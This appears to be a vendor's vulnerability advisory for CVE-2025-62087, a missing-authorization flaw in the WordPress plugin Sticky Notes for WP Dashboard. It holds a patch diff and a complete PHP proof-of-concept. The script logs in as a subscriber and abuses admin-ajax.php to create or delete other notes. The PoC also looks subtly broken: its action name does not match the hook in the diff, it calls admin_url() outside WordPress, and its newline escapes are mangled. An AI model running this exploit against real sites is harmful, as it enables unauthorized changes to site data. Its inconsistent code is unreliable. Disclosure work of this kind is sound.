 		foreach($_POST as $key=>$val)
 		{
 			$key=(is_string($key) ? sanitize_key($key) : '');
@@ -313,7 +319,8 @@
 		if($id>0)
 		{
 			$table_name=$wpdb->prefix.$this->notes_tb;
-			$id_user=get_current_user_id();
+			$id_user=get_current_user_id();
+			// phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching
 			$result=$wpdb->delete($table_name,array('id_user'=>$id_user,'id_wb_stn_notes'=>$id),array('%d','%d'));
 			if($result!==false){
 				$out['response']=true;
@@ -330,7 +337,7 @@
 	 */
 	private function get_noteid_input()
 	{
-		//only accept integer values
+		// phpcs:ignore WordPress.Security.NonceVerification.Missing -- Already handled in parent method.
 		return (isset($_POST['id_wb_stn_notes']) ? intval($_POST['id_wb_stn_notes']) : 0);
 	}

@@ -419,8 +426,8 @@
 				$sql_data_arr[] = $id;
 			}

-			$qry=$wpdb->prepare("SELECT * FROM $table_name WHERE id_user=%d AND status=%d $id_sql_qry ORDER BY z_index,id_wb_stn_notes", $sql_data_arr);
-			$results=$wpdb->get_results($qry, ARRAY_A);
+			//phpcs:ignore WordPress.DB.PreparedSQLPlaceholders.ReplacementsWrongNumber, WordPress.DB.PreparedSQL.InterpolatedNotPrepared, WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching, PluginCheck.Security.DirectDB.UnescapedDBParameter
+			$results=$wpdb->get_results( $wpdb->prepare("SELECT * FROM {$table_name} WHERE id_user=%d AND status=%d $id_sql_qry ORDER BY z_index,id_wb_stn_notes", $sql_data_arr ), ARRAY_A );
 			$out['data']=$this->prepareNoteHTML($results);
 		}else
 		{
@@ -446,6 +453,7 @@
 			'data'=>'',
 		);

+		// phpcs:ignore WordPress.Security.NonceVerification.Missing -- Already handled in `ajax_parent`method.
 		$offset = isset($_POST['wb_stn_offset']) ? absint($_POST['wb_stn_offset']) : 0;
 		$limit = 12;
 		$archives = $this->get_user_archives($offset, $limit);
@@ -477,8 +485,8 @@

 		if($id_user>0) //logged in
 		{
-			$qry = $wpdb->prepare("SELECT * FROM $table_name WHERE id_user=%d AND status=%d ORDER BY id_wb_stn_notes DESC LIMIT %d, %d", array($id_user, $status_archive, $offset, $limit));
-			$archives = $wpdb->get_results($qry,ARRAY_A);
+			// phpcs:disable WordPress.DB.PreparedSQL.InterpolatedNotPrepared, WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching, PluginCheck.Security.DirectDB.UnescapedDBParameter
+			$archives = $wpdb->get_results( $wpdb->prepare("SELECT * FROM $table_name WHERE id_user=%d AND status=%d ORDER BY id_wb_stn_notes DESC LIMIT %d, %d", array( $id_user, $status_archive, $offset, $limit ) ), ARRAY_A );
 		}

 		return $archives;
@@ -504,6 +512,7 @@
 			$table_name=$wpdb->prefix.$this->notes_tb;
 			$id_user=get_current_user_id();
 			$post_data=$this->preparePostData($settings);
+			// phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching
 			$result=$wpdb->update(
 				$table_name,
 				$post_data['post_data'],
--- a/wb-sticky-notes/includes/class-wb-sticky-notes-i18n.php
+++ b/wb-sticky-notes/includes/class-wb-sticky-notes-i18n.php
@@ -34,14 +34,5 @@
 	 */
 	public function load_plugin_textdomain() {

-		load_plugin_textdomain(
-			'wb-sticky-notes',
-			false,
-			dirname( dirname( plugin_basename( __FILE__ ) ) ) . '/languages/'
-		);
-
 	}
-
-
-
 }
--- a/wb-sticky-notes/includes/class-wb-sticky-notes-loader.php
+++ b/wb-sticky-notes/includes/class-wb-sticky-notes-loader.php
@@ -21,6 +21,12 @@
  * @subpackage Wb_Sticky_Notes/includes
  * @author     Web Builder 143
  */
+
+// If this file is called directly, abort.
+if ( ! defined( 'WPINC' ) ) {
+	die;
+}
+
 class Wb_Sticky_Notes_Loader {

 	/**
--- a/wb-sticky-notes/includes/class-wb-sticky-notes.php
+++ b/wb-sticky-notes/includes/class-wb-sticky-notes.php
@@ -21,6 +21,12 @@
  * @subpackage Wb_Sticky_Notes/includes
  * @author     Web Builder 143
  */
+
+// If this file is called directly, abort.
+if ( ! defined( 'WPINC' ) ) {
+	die;
+}
+
 class Wb_Sticky_Notes {

 	/**
@@ -93,7 +99,7 @@
 		if ( defined( 'WB_STICKY_NOTES_VERSION' ) ) {
 			$this->version = WB_STICKY_NOTES_VERSION;
 		} else {
-			$this->version = '1.2.4';
+			$this->version = '1.2.5';
 		}
 		$this->plugin_name =WB_STICKY_PLUGIN_NAME;

@@ -172,7 +178,7 @@
 	private function define_ajax_hooks()
 	{
 		$plugin_ajax=new Wb_Sticky_Notes_Ajax($this->get_plugin_name(),$this->get_version());
-		$this->loader->add_action('wp_ajax_wb_stn',$plugin_ajax,'ajax_main');
+		$this->loader->add_action('wp_ajax_wb_stn', $plugin_ajax, 'ajax_parent');
 	}

 	/**
@@ -201,9 +207,9 @@
 			$enable=1;
 		}else
 		{
-			if(isset($_GET['page']) && $_GET['page']=='wb-sticky-notes')
-			{
-				$enable=1;
+			// phpcs:ignore WordPress.Security.NonceVerification.Recommended, WordPress.Security.NonceVerification.Missing -- Not necessary.
+			if ( isset( $_GET['page'] ) && $_GET['page'] === 'wb-sticky-notes' ) {
+				$enable = 1;
 			}
 		}
 		if($enable==1)
@@ -211,6 +217,13 @@
 			$this->loader->add_action( 'admin_enqueue_scripts', $plugin_admin, 'enqueue_styles' );
 			$this->loader->add_action( 'admin_enqueue_scripts', $plugin_admin, 'enqueue_scripts' );
 		}
+
+		/**
+		 * 	Save settings.
+		 *
+		 * 	@since 1.2.5
+		 */
+		$this->loader->add_action( 'admin_init', $plugin_admin, 'save_settings' );
 	}


@@ -323,4 +336,4 @@
 		return $this->version;
 	}

-}
+}
 No newline at end of file
--- a/wb-sticky-notes/wb-sticky-notes.php
+++ b/wb-sticky-notes/wb-sticky-notes.php
@@ -10,7 +10,7 @@
  * @wordpress-plugin
  * Plugin Name:       Sticky Notes for WP Dashboard
  * Description:       Easily add, manage, and organize sticky notes directly on your WordPress dashboard. Perfect for reminders, to-dos, and team collaboration.
- * Version:           1.2.4
+ * Version:           1.2.5
  * Author:            Web Builder 143
  * Author URI:        https://profiles.wordpress.org/webbuilder143/
  * License:           GPL-2.0+
@@ -27,7 +27,7 @@
 /**
  * Currently plugin version.
  */
-define('WB_STICKY_NOTES_VERSION','1.2.4');
+define('WB_STICKY_NOTES_VERSION','1.2.5');

 define('WB_STN_SETTINGS','WB_STN_SETTINGS');

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-62087 - Sticky Notes for WP Dashboard <= 1.2.4 - Missing Authorization

<?php
/**
 * Proof of Concept for CVE-2025-62087
 * Requires: Valid WordPress subscriber credentials and a valid nonce from the plugin
 * Target: WordPress sites with Sticky Notes for WP Dashboard plugin <= 1.2.4
 */

$target_url = 'http://target-site.com/wp-admin/admin-ajax.php';
$username = 'subscriber_user';
$password = 'subscriber_pass';
$nonce = 'VALID_NONCE_HERE'; // Obtain from page source or plugin JavaScript

// Initialize cURL session for login
$ch = curl_init();

// First, login to WordPress to obtain authentication cookies
$login_url = str_replace('/wp-admin/admin-ajax.php', '/wp-login.php', $target_url);
$login_data = array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => admin_url(),
    'testcookie' => '1'
);

curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_HEADER, true);

$login_response = curl_exec($ch);

if (strpos($login_response, 'Dashboard') === false) {
    die('Login failed. Check credentials.');
}

// Now exploit the missing capability check
$exploit_data = array(
    'action' => 'wb_stn_ajax',           // WordPress AJAX action hook
    'security' => $nonce,                // Valid nonce from plugin
    'wb_stn_action' => 'save_note',      // Administrative action (create new note)
    'note_data' => '{"content":"Hacked by subscriber","theme":1,"font_size":14,"font_family":1,"width":300,"height":200,"postop":100,"posleft":100,"z_index":999}',
    'id_wb_stn_notes' => 0               // 0 for new note, existing ID for modification
);

curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($exploit_data));
curl_setopt($ch, CURLOPT_HEADER, false);

$exploit_response = curl_exec($ch);

// Check response
$response_data = json_decode($exploit_response, true);
if ($response_data && isset($response_data['response']) && $response_data['response'] === true) {
    echo "Exploit successful! Note created/modified by subscriber.n";
    echo "Response: " . print_r($response_data, true);
} else {
    echo "Exploit failed or nonce invalid.n";
    echo "Raw response: " . $exploit_response . "n";
}

curl_close($ch);

// Alternative: Delete existing note
/*
$delete_data = array(
    'action' => 'wb_stn_ajax',
    'security' => $nonce,
    'wb_stn_action' => 'delete_note',
    'id_wb_stn_notes' => 1  // ID of note to delete
);
*/
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School